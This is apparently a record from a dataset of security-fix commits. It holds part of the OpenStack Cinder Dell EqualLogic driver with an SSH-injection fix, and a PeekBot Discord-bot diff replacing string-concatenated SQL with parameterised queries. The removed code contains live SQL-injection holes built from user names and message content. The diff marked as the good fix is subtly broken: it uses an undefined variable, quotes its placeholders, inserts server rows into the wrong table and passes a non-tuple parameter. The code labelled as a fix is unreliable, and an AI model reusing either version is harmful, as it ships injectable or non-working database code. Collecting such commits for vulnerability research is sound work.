privatekey=privatekey, min_size=min_size, max_size=max_size) try: total_attempts=attempts with self.sshpool.item() as ssh: while attempts > 0: attempts -=1 try: LOG.info(_('EQL-driver: executing \"%s\"') % command) return self._ssh_execute( ssh, command, timeout=self.configuration.eqlx_cli_timeout) except processutils.ProcessExecutionError: raise except Exception as e: LOG.exception(e) greenthread.sleep(random.randint(20, 500) / 100.0) msg=(_(\"SSH Command failed after '%(total_attempts)r' \" \"attempts: '%(command)s'\") % {'total_attempts': total_attempts, 'command': command}) raise exception.VolumeBackendAPIException(data=msg) except Exception: with excutils.save_and_reraise_exception(): LOG.error(_(\"Error running SSH command: %s\") % command) def _eql_execute(self, *args, **kwargs): return self._run_ssh( args, attempts=self.configuration.eqlx_cli_max_retries) def _get_volume_data(self, lines): prefix='iSCSI target name is ' target_name=self._get_prefixed_value(lines, prefix)[:-1] lun_id=\"%s:%s,1 %s 0\" %(self._group_ip, '3260', target_name) model_update={} model_update['provider_location']=lun_id if self.configuration.eqlx_use_chap: model_update['provider_auth']='CHAP %s %s' % \\ (self.configuration.eqlx_chap_login, self.configuration.eqlx_chap_password) return model_update def _get_space_in_gb(self, val): scale=1.0 part='GB' if val.endswith('MB'): scale=1.0 / 1024 part='MB' elif val.endswith('TB'): scale=1.0 * 1024 part='TB' return scale * float(val.partition(part)[0]) def _update_volume_stats(self): \"\"\"Retrieve stats info from eqlx group.\"\"\" LOG.debug(_(\"Updating volume stats\")) data={} backend_name=\"eqlx\" if self.configuration: backend_name=self.configuration.safe_get('volume_backend_name') data[\"volume_backend_name\"]=backend_name or 'eqlx' data[\"vendor_name\"]='Dell' data[\"driver_version\"]=self.VERSION data[\"storage_protocol\"]='iSCSI' data['reserved_percentage']=0 data['QoS_support']=False data['total_capacity_gb']='infinite' data['free_capacity_gb']='infinite' for line in self._eql_execute('pool', 'select', self.configuration.eqlx_pool, 'show'): if line.startswith('TotalCapacity:'): out_tup=line.rstrip().partition(' ') data['total_capacity_gb']=self._get_space_in_gb(out_tup[-1]) if line.startswith('FreeSpace:'): out_tup=line.rstrip().partition(' ') data['free_capacity_gb']=self._get_space_in_gb(out_tup[-1]) self._stats=data def _check_volume(self, volume): \"\"\"Check if the volume exists on the Array.\"\"\" command=['volume', 'select', volume['name'], 'show'] try: self._eql_execute(*command) except processutils.ProcessExecutionError as err: with excutils.save_and_reraise_exception(): if err.stdout.find('does not exist.\\n') > -1: LOG.debug(_('Volume %s does not exist, ' 'it may have already been deleted'), volume['name']) raise exception.VolumeNotFound(volume_id=volume['id']) def do_setup(self, context): \"\"\"Disable cli confirmation and tune output format.\"\"\" try: disabled_cli_features=('confirmation', 'paging', 'events', 'formatoutput') for feature in disabled_cli_features: self._eql_execute('cli-settings', feature, 'off') for line in self._eql_execute('grpparams', 'show'): if line.startswith('Group-Ipaddress:'): out_tup=line.rstrip().partition(' ') self._group_ip=out_tup[-1] LOG.info(_(\"EQL-driver: Setup is complete, group IP is %s\"), self._group_ip) except Exception: with excutils.save_and_reraise_exception(): LOG.error(_('Failed to setup the Dell EqualLogic driver')) def create_volume(self, volume): \"\"\"Create a volume.\"\"\" try: cmd=['volume', 'create', volume['name'], \"%sG\" %(volume['size'])] if self.configuration.eqlx_pool !='default': cmd.append('pool') cmd.append(self.configuration.eqlx_pool) if self.configuration.san_thin_provision: cmd.append('thin-provision') out=self._eql_execute(*cmd) return self._get_volume_data(out) except Exception: with excutils.save_and_reraise_exception(): LOG.error(_('Failed to create volume %s'), volume['name']) def delete_volume(self, volume): \"\"\"Delete a volume.\"\"\" try: self._check_volume(volume) self._eql_execute('volume', 'select', volume['name'], 'offline') self._eql_execute('volume', 'delete', volume['name']) except exception.VolumeNotFound: LOG.warn(_('Volume %s was not found while trying to delete it'), volume['name']) except Exception: with excutils.save_and_reraise_exception(): LOG.error(_('Failed to delete volume %s'), volume['name']) def create_snapshot(self, snapshot): \"\"\"\"Create snapshot of existing volume on appliance.\"\"\" try: out=self._eql_execute('volume', 'select', snapshot['volume_name'], 'snapshot', 'create-now') prefix='Snapshot name is ' snap_name=self._get_prefixed_value(out, prefix) self._eql_execute('volume', 'select', snapshot['volume_name'], 'snapshot', 'rename', snap_name, snapshot['name']) except Exception: with excutils.save_and_reraise_exception(): LOG.error(_('Failed to create snapshot of volume %s'), snapshot['volume_name']) def create_volume_from_snapshot(self, volume, snapshot): \"\"\"Create new volume from other volume's snapshot on appliance.\"\"\" try: out=self._eql_execute('volume', 'select', snapshot['volume_name'], 'snapshot', 'select', snapshot['name'], 'clone', volume['name']) return self._get_volume_data(out) except Exception: with excutils.save_and_reraise_exception(): LOG.error(_('Failed to create volume from snapshot %s'), snapshot['name']) def create_cloned_volume(self, volume, src_vref): \"\"\"Creates a clone of the specified volume.\"\"\" try: src_volume_name=self.configuration.\\ volume_name_template % src_vref['id'] out=self._eql_execute('volume', 'select', src_volume_name, 'clone', volume['name']) return self._get_volume_data(out) except Exception: with excutils.save_and_reraise_exception(): LOG.error(_('Failed to create clone of volume %s'), volume['name']) def delete_snapshot(self, snapshot): \"\"\"Delete volume's snapshot.\"\"\" try: self._eql_execute('volume', 'select', snapshot['volume_name'], 'snapshot', 'delete', snapshot['name']) except Exception: with excutils.save_and_reraise_exception(): LOG.error(_('Failed to delete snapshot %(snap)s of ' 'volume %(vol)s'), {'snap': snapshot['name'], 'vol': snapshot['volume_name']}) def initialize_connection(self, volume, connector): \"\"\"Restrict access to a volume.\"\"\" try: cmd=['volume', 'select', volume['name'], 'access', 'create', 'initiator', connector['initiator']] if self.configuration.eqlx_use_chap: cmd.extend(['authmethod chap', 'username', self.configuration.eqlx_chap_login]) self._eql_execute(*cmd) iscsi_properties=self._get_iscsi_properties(volume) return{ 'driver_volume_type': 'iscsi', 'data': iscsi_properties } except Exception: with excutils.save_and_reraise_exception(): LOG.error(_('Failed to initialize connection to volume %s'), volume['name']) def terminate_connection(self, volume, connector, force=False, **kwargs): \"\"\"Remove access restrictions from a volume.\"\"\" try: self._eql_execute('volume', 'select', volume['name'], 'access', 'delete', '1') except Exception: with excutils.save_and_reraise_exception(): LOG.error(_('Failed to terminate connection to volume %s'), volume['name']) def create_export(self, context, volume): \"\"\"Create an export of a volume. Driver has nothing to do here for the volume has been exported already by the SAN, right after it's creation. \"\"\" pass def ensure_export(self, context, volume): \"\"\"Ensure an export of a volume. Driver has nothing to do here for the volume has been exported already by the SAN, right after it's creation. We will just make sure that the volume exists on the array and issue a warning. \"\"\" try: self._check_volume(volume) except exception.VolumeNotFound: LOG.warn(_('Volume %s is not found!, it may have been deleted'), volume['name']) except Exception: with excutils.save_and_reraise_exception(): LOG.error(_('Failed to ensure export of volume %s'), volume['name']) def remove_export(self, context, volume): \"\"\"Remove an export of a volume. Driver has nothing to do here for the volume has been exported already by the SAN, right after it's creation. Nothing to remove since there's nothing exported. \"\"\" pass def extend_volume(self, volume, new_size): \"\"\"Extend the size of the volume.\"\"\" try: self._eql_execute('volume', 'select', volume['name'], 'size', \"%sG\" % new_size) except Exception: with excutils.save_and_reraise_exception(): LOG.error(_('Failed to extend_volume %(name)s from ' '%(current_size)sGB to %(new_size)sGB'), {'name': volume['name'], 'current_size': volume['size'], 'new_size': new_size}) def local_path(self, volume): raise NotImplementedError() ", "sourceWithComments": "# Copyright (c) 2013 Dell Inc.\n# Copyright 2013 OpenStack LLC\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n\n\"\"\"Volume driver for Dell EqualLogic Storage.\"\"\"\n\nimport functools\nimport random\n\nimport eventlet\nfrom eventlet import greenthread\nimport greenlet\nfrom oslo.config import cfg\n\nfrom cinder import exception\nfrom cinder.openstack.common import excutils\nfrom cinder.openstack.common import log as logging\nfrom cinder.openstack.common import processutils\nfrom cinder import utils\nfrom cinder.volume.drivers.san import SanISCSIDriver\n\nLOG = logging.getLogger(__name__)\n\neqlx_opts = [\n cfg.StrOpt('eqlx_group_name',\n default='group-0',\n help='Group name to use for creating volumes'),\n cfg.IntOpt('eqlx_cli_timeout',\n default=30,\n help='Timeout for the Group Manager cli command execution'),\n cfg.IntOpt('eqlx_cli_max_retries',\n default=5,\n help='Maximum retry count for reconnection'),\n cfg.BoolOpt('eqlx_use_chap',\n default=False,\n help='Use CHAP authentication for targets?'),\n cfg.StrOpt('eqlx_chap_login',\n default='admin',\n help='Existing CHAP account name'),\n cfg.StrOpt('eqlx_chap_password',\n default='password',\n help='Password for specified CHAP account name',\n secret=True),\n cfg.StrOpt('eqlx_pool',\n default='default',\n help='Pool in which volumes will be created')\n]\n\n\nCONF = cfg.CONF\nCONF.register_opts(eqlx_opts)\n\n\ndef with_timeout(f):\n @functools.wraps(f)\n def __inner(self, *args, **kwargs):\n timeout = kwargs.pop('timeout', None)\n gt = eventlet.spawn(f, self, *args, **kwargs)\n if timeout is None:\n return gt.wait()\n else:\n kill_thread = eventlet.spawn_after(timeout, gt.kill)\n try:\n res = gt.wait()\n except greenlet.GreenletExit:\n raise exception.VolumeBackendAPIException(\n data=\"Command timed out\")\n else:\n kill_thread.cancel()\n return res\n\n return __inner\n\n\nclass DellEQLSanISCSIDriver(SanISCSIDriver):\n \"\"\"Implements commands for Dell EqualLogic SAN ISCSI management.\n\n To enable the driver add the following line to the cinder configuration:\n volume_driver=cinder.volume.drivers.eqlx.DellEQLSanISCSIDriver\n\n Driver's prerequisites are:\n - a separate volume group set up and running on the SAN\n - SSH access to the SAN\n - a special user must be created which must be able to\n - create/delete volumes and snapshots;\n - clone snapshots into volumes;\n - modify volume access records;\n\n The access credentials to the SAN are provided by means of the following\n flags\n san_ip=\n san_login=\n san_password=\n san_private_key=\n\n Thin provision of volumes is enabled by default, to disable it use:\n san_thin_provision=false\n\n In order to use target CHAP authentication (which is disabled by default)\n SAN administrator must create a local CHAP user and specify the following\n flags for the driver:\n eqlx_use_chap=true\n eqlx_chap_login=\n eqlx_chap_password=\n\n eqlx_group_name parameter actually represents the CLI prompt message\n without '>' ending. E.g. if prompt looks like 'group-0>', then the\n parameter must be set to 'group-0'\n\n Also, the default CLI command execution timeout is 30 secs. Adjustable by\n eqlx_cli_timeout=\n \"\"\"\n\n VERSION = \"1.0.0\"\n\n def __init__(self, *args, **kwargs):\n super(DellEQLSanISCSIDriver, self).__init__(*args, **kwargs)\n self.configuration.append_config_values(eqlx_opts)\n self._group_ip = None\n self.sshpool = None\n\n def _get_output(self, chan):\n out = ''\n ending = '%s> ' % self.configuration.eqlx_group_name\n while not out.endswith(ending):\n out += chan.recv(102400)\n\n LOG.debug(_(\"CLI output\\n%s\"), out)\n return out.splitlines()\n\n def _get_prefixed_value(self, lines, prefix):\n for line in lines:\n if line.startswith(prefix):\n return line[len(prefix):]\n return\n\n @with_timeout\n def _ssh_execute(self, ssh, command, *arg, **kwargs):\n transport = ssh.get_transport()\n chan = transport.open_session()\n chan.invoke_shell()\n\n LOG.debug(_(\"Reading CLI MOTD\"))\n self._get_output(chan)\n\n cmd = 'stty columns 255'\n LOG.debug(_(\"Setting CLI terminal width: '%s'\"), cmd)\n chan.send(cmd + '\\r')\n out = self._get_output(chan)\n\n LOG.debug(_(\"Sending CLI command: '%s'\"), command)\n chan.send(command + '\\r')\n out = self._get_output(chan)\n\n chan.close()\n\n if any(line.startswith(('% Error', 'Error:')) for line in out):\n desc = _(\"Error executing EQL command\")\n cmdout = '\\n'.join(out)\n LOG.error(cmdout)\n raise processutils.ProcessExecutionError(\n stdout=cmdout, cmd=command, description=desc)\n return out\n\n def _run_ssh(self, cmd_list, attempts=1):\n utils.check_ssh_injection(cmd_list)\n command = ' '. join(cmd_list)\n\n if not self.sshpool:\n password = self.configuration.san_password\n privatekey = self.configuration.san_private_key\n min_size = self.configuration.ssh_min_pool_conn\n max_size = self.configuration.ssh_max_pool_conn\n self.sshpool = utils.SSHPool(self.configuration.san_ip,\n self.configuration.san_ssh_port,\n self.configuration.ssh_conn_timeout,\n self.configuration.san_login,\n password=password,\n privatekey=privatekey,\n min_size=min_size,\n max_size=max_size)\n try:\n total_attempts = attempts\n with self.sshpool.item() as ssh:\n while attempts > 0:\n attempts -= 1\n try:\n LOG.info(_('EQL-driver: executing \"%s\"') % command)\n return self._ssh_execute(\n ssh, command,\n timeout=self.configuration.eqlx_cli_timeout)\n except processutils.ProcessExecutionError:\n raise\n except Exception as e:\n LOG.exception(e)\n greenthread.sleep(random.randint(20, 500) / 100.0)\n msg = (_(\"SSH Command failed after '%(total_attempts)r' \"\n \"attempts : '%(command)s'\") %\n {'total_attempts': total_attempts, 'command': command})\n raise exception.VolumeBackendAPIException(data=msg)\n\n except Exception:\n with excutils.save_and_reraise_exception():\n LOG.error(_(\"Error running SSH command: %s\") % command)\n\n def _eql_execute(self, *args, **kwargs):\n return self._run_ssh(\n args, attempts=self.configuration.eqlx_cli_max_retries)\n\n def _get_volume_data(self, lines):\n prefix = 'iSCSI target name is '\n target_name = self._get_prefixed_value(lines, prefix)[:-1]\n lun_id = \"%s:%s,1 %s 0\" % (self._group_ip, '3260', target_name)\n model_update = {}\n model_update['provider_location'] = lun_id\n if self.configuration.eqlx_use_chap:\n model_update['provider_auth'] = 'CHAP %s %s' % \\\n (self.configuration.eqlx_chap_login,\n self.configuration.eqlx_chap_password)\n return model_update\n\n def _get_space_in_gb(self, val):\n scale = 1.0\n part = 'GB'\n if val.endswith('MB'):\n scale = 1.0 / 1024\n part = 'MB'\n elif val.endswith('TB'):\n scale = 1.0 * 1024\n part = 'TB'\n return scale * float(val.partition(part)[0])\n\n def _update_volume_stats(self):\n \"\"\"Retrieve stats info from eqlx group.\"\"\"\n\n LOG.debug(_(\"Updating volume stats\"))\n data = {}\n backend_name = \"eqlx\"\n if self.configuration:\n backend_name = self.configuration.safe_get('volume_backend_name')\n data[\"volume_backend_name\"] = backend_name or 'eqlx'\n data[\"vendor_name\"] = 'Dell'\n data[\"driver_version\"] = self.VERSION\n data[\"storage_protocol\"] = 'iSCSI'\n\n data['reserved_percentage'] = 0\n data['QoS_support'] = False\n\n data['total_capacity_gb'] = 'infinite'\n data['free_capacity_gb'] = 'infinite'\n\n for line in self._eql_execute('pool', 'select',\n self.configuration.eqlx_pool, 'show'):\n if line.startswith('TotalCapacity:'):\n out_tup = line.rstrip().partition(' ')\n data['total_capacity_gb'] = self._get_space_in_gb(out_tup[-1])\n if line.startswith('FreeSpace:'):\n out_tup = line.rstrip().partition(' ')\n data['free_capacity_gb'] = self._get_space_in_gb(out_tup[-1])\n\n self._stats = data\n\n def _check_volume(self, volume):\n \"\"\"Check if the volume exists on the Array.\"\"\"\n command = ['volume', 'select', volume['name'], 'show']\n try:\n self._eql_execute(*command)\n except processutils.ProcessExecutionError as err:\n with excutils.save_and_reraise_exception():\n if err.stdout.find('does not exist.\\n') > -1:\n LOG.debug(_('Volume %s does not exist, '\n 'it may have already been deleted'),\n volume['name'])\n raise exception.VolumeNotFound(volume_id=volume['id'])\n\n def do_setup(self, context):\n \"\"\"Disable cli confirmation and tune output format.\"\"\"\n try:\n disabled_cli_features = ('confirmation', 'paging', 'events',\n 'formatoutput')\n for feature in disabled_cli_features:\n self._eql_execute('cli-settings', feature, 'off')\n\n for line in self._eql_execute('grpparams', 'show'):\n if line.startswith('Group-Ipaddress:'):\n out_tup = line.rstrip().partition(' ')\n self._group_ip = out_tup[-1]\n\n LOG.info(_(\"EQL-driver: Setup is complete, group IP is %s\"),\n self._group_ip)\n except Exception:\n with excutils.save_and_reraise_exception():\n LOG.error(_('Failed to setup the Dell EqualLogic driver'))\n\n def create_volume(self, volume):\n \"\"\"Create a volume.\"\"\"\n try:\n cmd = ['volume', 'create',\n volume['name'], \"%sG\" % (volume['size'])]\n if self.configuration.eqlx_pool != 'default':\n cmd.append('pool')\n cmd.append(self.configuration.eqlx_pool)\n if self.configuration.san_thin_provision:\n cmd.append('thin-provision')\n out = self._eql_execute(*cmd)\n return self._get_volume_data(out)\n except Exception:\n with excutils.save_and_reraise_exception():\n LOG.error(_('Failed to create volume %s'), volume['name'])\n\n def delete_volume(self, volume):\n \"\"\"Delete a volume.\"\"\"\n try:\n self._check_volume(volume)\n self._eql_execute('volume', 'select', volume['name'], 'offline')\n self._eql_execute('volume', 'delete', volume['name'])\n except exception.VolumeNotFound:\n LOG.warn(_('Volume %s was not found while trying to delete it'),\n volume['name'])\n except Exception:\n with excutils.save_and_reraise_exception():\n LOG.error(_('Failed to delete volume %s'), volume['name'])\n\n def create_snapshot(self, snapshot):\n \"\"\"\"Create snapshot of existing volume on appliance.\"\"\"\n try:\n out = self._eql_execute('volume', 'select',\n snapshot['volume_name'],\n 'snapshot', 'create-now')\n prefix = 'Snapshot name is '\n snap_name = self._get_prefixed_value(out, prefix)\n self._eql_execute('volume', 'select', snapshot['volume_name'],\n 'snapshot', 'rename', snap_name,\n snapshot['name'])\n except Exception:\n with excutils.save_and_reraise_exception():\n LOG.error(_('Failed to create snapshot of volume %s'),\n snapshot['volume_name'])\n\n def create_volume_from_snapshot(self, volume, snapshot):\n \"\"\"Create new volume from other volume's snapshot on appliance.\"\"\"\n try:\n out = self._eql_execute('volume', 'select',\n snapshot['volume_name'], 'snapshot',\n 'select', snapshot['name'],\n 'clone', volume['name'])\n return self._get_volume_data(out)\n except Exception:\n with excutils.save_and_reraise_exception():\n LOG.error(_('Failed to create volume from snapshot %s'),\n snapshot['name'])\n\n def create_cloned_volume(self, volume, src_vref):\n \"\"\"Creates a clone of the specified volume.\"\"\"\n try:\n src_volume_name = self.configuration.\\\n volume_name_template % src_vref['id']\n out = self._eql_execute('volume', 'select', src_volume_name,\n 'clone', volume['name'])\n return self._get_volume_data(out)\n except Exception:\n with excutils.save_and_reraise_exception():\n LOG.error(_('Failed to create clone of volume %s'),\n volume['name'])\n\n def delete_snapshot(self, snapshot):\n \"\"\"Delete volume's snapshot.\"\"\"\n try:\n self._eql_execute('volume', 'select', snapshot['volume_name'],\n 'snapshot', 'delete', snapshot['name'])\n except Exception:\n with excutils.save_and_reraise_exception():\n LOG.error(_('Failed to delete snapshot %(snap)s of '\n 'volume %(vol)s'),\n {'snap': snapshot['name'],\n 'vol': snapshot['volume_name']})\n\n def initialize_connection(self, volume, connector):\n \"\"\"Restrict access to a volume.\"\"\"\n try:\n cmd = ['volume', 'select', volume['name'], 'access', 'create',\n 'initiator', connector['initiator']]\n if self.configuration.eqlx_use_chap:\n cmd.extend(['authmethod chap', 'username',\n self.configuration.eqlx_chap_login])\n self._eql_execute(*cmd)\n iscsi_properties = self._get_iscsi_properties(volume)\n return {\n 'driver_volume_type': 'iscsi',\n 'data': iscsi_properties\n }\n except Exception:\n with excutils.save_and_reraise_exception():\n LOG.error(_('Failed to initialize connection to volume %s'),\n volume['name'])\n\n def terminate_connection(self, volume, connector, force=False, **kwargs):\n \"\"\"Remove access restrictions from a volume.\"\"\"\n try:\n self._eql_execute('volume', 'select', volume['name'],\n 'access', 'delete', '1')\n except Exception:\n with excutils.save_and_reraise_exception():\n LOG.error(_('Failed to terminate connection to volume %s'),\n volume['name'])\n\n def create_export(self, context, volume):\n \"\"\"Create an export of a volume.\n\n Driver has nothing to do here for the volume has been exported\n already by the SAN, right after it's creation.\n \"\"\"\n pass\n\n def ensure_export(self, context, volume):\n \"\"\"Ensure an export of a volume.\n\n Driver has nothing to do here for the volume has been exported\n already by the SAN, right after it's creation. We will just make\n sure that the volume exists on the array and issue a warning.\n \"\"\"\n try:\n self._check_volume(volume)\n except exception.VolumeNotFound:\n LOG.warn(_('Volume %s is not found!, it may have been deleted'),\n volume['name'])\n except Exception:\n with excutils.save_and_reraise_exception():\n LOG.error(_('Failed to ensure export of volume %s'),\n volume['name'])\n\n def remove_export(self, context, volume):\n \"\"\"Remove an export of a volume.\n\n Driver has nothing to do here for the volume has been exported\n already by the SAN, right after it's creation.\n Nothing to remove since there's nothing exported.\n \"\"\"\n pass\n\n def extend_volume(self, volume, new_size):\n \"\"\"Extend the size of the volume.\"\"\"\n try:\n self._eql_execute('volume', 'select', volume['name'],\n 'size', \"%sG\" % new_size)\n except Exception:\n with excutils.save_and_reraise_exception():\n LOG.error(_('Failed to extend_volume %(name)s from '\n '%(current_size)sGB to %(new_size)sGB'),\n {'name': volume['name'],\n 'current_size': volume['size'],\n 'new_size': new_size})\n\n def local_path(self, volume):\n raise NotImplementedError()\n"}}, "msg": "Fixes ssh-injection error while using chap authentication\n\nA space in the command construction was being caught by the\nssh-injection check. The fix is to separate the command strings.\n\nChange-Id: If1f719f9c2ceff31ed5386c53cf60bc7f522f4d7\nCloses-Bug: #1280409"}}, "https://github.com/willyzha/PeekBot": {"55e2cd75bc3a39319f975959716859ccb6123354": {"url": "https://api.github.com/repos/willyzha/PeekBot/commits/55e2cd75bc3a39319f975959716859ccb6123354", "html_url": "https://github.com/willyzha/PeekBot/commit/55e2cd75bc3a39319f975959716859ccb6123354", "message": "Update SQL execute commands\n\nUpdate SQL execute commands to protect against SQL injections", "sha": "55e2cd75bc3a39319f975959716859ccb6123354", "keyword": "command injection protect", "diff": "diff --git a/cogs/database.py b/cogs/database.py\nindex 74aa765..5126b2f 100755\n--- a/cogs/database.py\n+++ b/cogs/database.py\n@@ -21,23 +21,25 @@ def __init__(self, bot):\n server = message.server\r\n author = message.author\r\n channel = message.channel\r\n- \r\n+ \r\n c = self.database.cursor()\r\n \r\n- c.execute(\"SELECT EXISTS(SELECT 1 FROM USER WHERE id=\"+str(author.id)+\" collate nocase) LIMIT 1\")\r\n+ sql_cmd = \"SELECT EXISTS(SELECT 1 FROM USER WHERE id=? collate nocase) LIMIT 1\"\r\n+ c.execute(sql_cmd, (author.id))\r\n if c.fetchone()[0]==0:\r\n- c.execute(\"INSERT INTO USER VALUES ('\"+author.name+\"',\"+author.id+\",'\"+str(author.bot)+\"','\"+author.avatar+\"','\"+str(author.created_at)+\"')\")\r\n+ # name, id, bot, avatar, created_at\r\n+ sql_cmd = \"INSERT INTO USER VALUES ('?',?,'?','?','?')\"\r\n+ c.execute(cql_cmd, (author.name, author.id, author.bot, author.avatar, author.created_at))\r\n \r\n- c.execute(\"SELECT EXISTS(SELECT 1 FROM SERVERS WHERE id=\"+str(server.id)+\" collate nocase) LIMIT 1\")\r\n+ sql_cmd = \"SELECT EXISTS(SELECT 1 FROM SERVERS WHERE id=? collate nocase) LIMIT 1\"\r\n+ c.execute(sql_cmd, (server.id))\r\n if c.fetchone()[0]==0:\r\n- c.execute(\"INSERT INTO SERVERS VALUES ('\"+server.name+\"',\"+server.id+\",\"+server.owner.id+\")\")\r\n-\r\n- print(message.edited_timestamp)\r\n- sql_command = message.id+\",'\"+str(message.edited_timestamp)+\"','\"+str(message.timestamp)+\"','\"+str(message.tts)+\"','\"+str(message.author.name)+\"',\"+str(message.author.id)+\",'\"+message.content+\"',\"+message.server.id+\",\"+message.channel.id\r\n- \r\n- print(sql_command)\r\n- \r\n- c.execute(\"INSERT INTO MESSAGE VALUES (\"+sql_command+\")\")\r\n+ # name, id, owner_id\r\n+ sql_cmd = \"INSERT INTO USER VALUES ('?',?,'?')\"\r\n+ c.execute(sql_cmd, (server.name,server.id,server.owner.id))\r\n+\r\n+ sql_cmd = \"INSERT INTO MESSAGE VALUES (?,'?','?','?','?',?,'?',?,?)\" \r\n+ c.execute(sql_cmd, (message.id,message.edited_timestamp,message.timestamp,message.tts,message.author.name,message.author.id,message.content,message.server.id,message.channel.id))\r\n self.database.commit() \r\n \r\n def check_folders():\r\n@@ -58,4 +60,4 @@ def check_files():\n def setup(bot):\r\n check_folders()\r\n check_files()\r\n- bot.add_cog(Database(bot))\n\\ No newline at end of file\n+ bot.add_cog(Database(bot))\r\n", "files": {"/cogs/database.py": {"changes": [{"diff": "\n server = message.server\r\n author = message.author\r\n channel = message.channel\r\n- \r\n+ \r\n c = self.database.cursor()\r\n \r\n- c.execute(\"SELECT EXISTS(SELECT 1 FROM USER WHERE id=\"+str(author.id)+\" collate nocase) LIMIT 1\")\r\n+ sql_cmd = \"SELECT EXISTS(SELECT 1 FROM USER WHERE id=? collate nocase) LIMIT 1\"\r\n+ c.execute(sql_cmd, (author.id))\r\n if c.fetchone()[0]==0:\r\n- c.execute(\"INSERT INTO USER VALUES ('\"+author.name+\"',\"+author.id+\",'\"+str(author.bot)+\"','\"+author.avatar+\"','\"+str(author.created_at)+\"')\")\r\n+ # name, id, bot, avatar, created_at\r\n+ sql_cmd = \"INSERT INTO USER VALUES ('?',?,'?','?','?')\"\r\n+ c.execute(cql_cmd, (author.name, author.id, author.bot, author.avatar, author.created_at))\r\n \r\n- c.execute(\"SELECT EXISTS(SELECT 1 FROM SERVERS WHERE id=\"+str(server.id)+\" collate nocase) LIMIT 1\")\r\n+ sql_cmd = \"SELECT EXISTS(SELECT 1 FROM SERVERS WHERE id=? collate nocase) LIMIT 1\"\r\n+ c.execute(sql_cmd, (server.id))\r\n if c.fetchone()[0]==0:\r\n- c.execute(\"INSERT INTO SERVERS VALUES ('\"+server.name+\"',\"+server.id+\",\"+server.owner.id+\")\")\r\n-\r\n- print(message.edited_timestamp)\r\n- sql_command = message.id+\",'\"+str(message.edited_timestamp)+\"','\"+str(message.timestamp)+\"','\"+str(message.tts)+\"','\"+str(message.author.name)+\"',\"+str(message.author.id)+\",'\"+message.content+\"',\"+message.server.id+\",\"+message.channel.id\r\n- \r\n- print(sql_command)\r\n- \r\n- c.execute(\"INSERT INTO MESSAGE VALUES (\"+sql_command+\")\")\r\n+ # name, id, owner_id\r\n+ sql_cmd = \"INSERT INTO USER VALUES ('?',?,'?')\"\r\n+ c.execute(sql_cmd, (server.name,server.id,server.owner.id))\r\n+\r\n+ sql_cmd = \"INSERT INTO MESSAGE VALUES (?,'?','?','?','?',?,'?',?,?)\" \r\n+ c.execute(sql_cmd, (message.id,message.edited_timestamp,message.timestamp,message.tts,message.author.name,message.author.id,message.content,message.server.id,message.channel.id))\r\n self.database.commit() \r\n \r\n def check_folders():\r\n", "add": 14, "remove": 12, "filename": "/cogs/database.py", "badparts": [" \r", " c.execute(\"SELECT EXISTS(SELECT 1 FROM USER WHERE id=\"+str(author.id)+\" collate nocase) LIMIT 1\")\r", " c.execute(\"INSERT INTO USER VALUES ('\"+author.name+\"',\"+author.id+\",'\"+str(author.bot)+\"','\"+author.avatar+\"','\"+str(author.created_at)+\"')\")\r", " c.execute(\"SELECT EXISTS(SELECT 1 FROM SERVERS WHERE id=\"+str(server.id)+\" collate nocase) LIMIT 1\")\r", " c.execute(\"INSERT INTO SERVERS VALUES ('\"+server.name+\"',\"+server.id+\",\"+server.owner.id+\")\")\r", "\r", " print(message.edited_timestamp)\r", " sql_command = message.id+\",'\"+str(message.edited_timestamp)+\"','\"+str(message.timestamp)+\"','\"+str(message.tts)+\"','\"+str(message.author.name)+\"',\"+str(message.author.id)+\",'\"+message.content+\"',\"+message.server.id+\",\"+message.channel.id\r", " \r", " print(sql_command)\r", " \r", " c.execute(\"INSERT INTO MESSAGE VALUES (\"+sql_command+\")\")\r"], "goodparts": [" \r", " sql_cmd = \"SELECT EXISTS(SELECT 1 FROM USER WHERE id=? collate nocase) LIMIT 1\"\r", " c.execute(sql_cmd, (author.id))\r", " sql_cmd = \"INSERT INTO USER VALUES ('?',?,'?','?','?')\"\r", " c.execute(cql_cmd, (author.name, author.id, author.bot, author.avatar, author.created_at))\r", " sql_cmd = \"SELECT EXISTS(SELECT 1 FROM SERVERS WHERE id=? collate nocase) LIMIT 1\"\r", " c.execute(sql_cmd, (server.id))\r", " sql_cmd = \"INSERT INTO USER VALUES ('?',?,'?')\"\r", " c.execute(sql_cmd, (server.name,server.id,server.owner.id))\r", "\r", " sql_cmd = \"INSERT INTO MESSAGE VALUES (?,'?','?','?','?',?,'?',?,?)\" \r", " c.execute(sql_cmd, (message.id,message.edited_timestamp,message.timestamp,message.tts,message.author.name,message.author.id,message.content,message.server.id,message.channel.id))\r"]}, {"diff": "\n def setup(bot):\r\n check_folders()\r\n check_files()\r\n- bot.add_cog(Database(bot))\n\\ No newline at end of file\n+ bot.add_cog(Database(bot))\r\n", "add": 1, "remove": 1, "filename": "/cogs/database.py", "badparts": [" bot.add_cog(Database(bot))"], "goodparts": [" bot.add_cog(Database(bot))\r"]}], "source": "\nfrom discord.ext import commands\r from random import choice\r from.utils.dataIO import dataIO\r from.utils import checks\r from.utils.chat_formatting import box\r from collections import Counter, defaultdict, namedtuple\r import discord\r import asyncio\r import sqlite3 as lite\r import sys\r import os\r \r DATABASE_PATH=\"data/database/data.db\"\r \r class Database:\r \"\"\"General commands.\"\"\"\r def __init__(self, bot):\r self.database=lite.connect(DATABASE_PATH)\r \r async def on_message(self, message):\r server=message.server\r author=message.author\r channel=message.channel\r \r c=self.database.cursor()\r \r c.execute(\"SELECT EXISTS(SELECT 1 FROM USER WHERE id=\"+str(author.id)+\" collate nocase) LIMIT 1\")\r if c.fetchone()[0]==0:\r c.execute(\"INSERT INTO USER VALUES('\"+author.name+\"',\"+author.id+\",'\"+str(author.bot)+\"','\"+author.avatar+\"','\"+str(author.created_at)+\"')\")\r \r c.execute(\"SELECT EXISTS(SELECT 1 FROM SERVERS WHERE id=\"+str(server.id)+\" collate nocase) LIMIT 1\")\r if c.fetchone()[0]==0:\r c.execute(\"INSERT INTO SERVERS VALUES('\"+server.name+\"',\"+server.id+\",\"+server.owner.id+\")\")\r \r print(message.edited_timestamp)\r 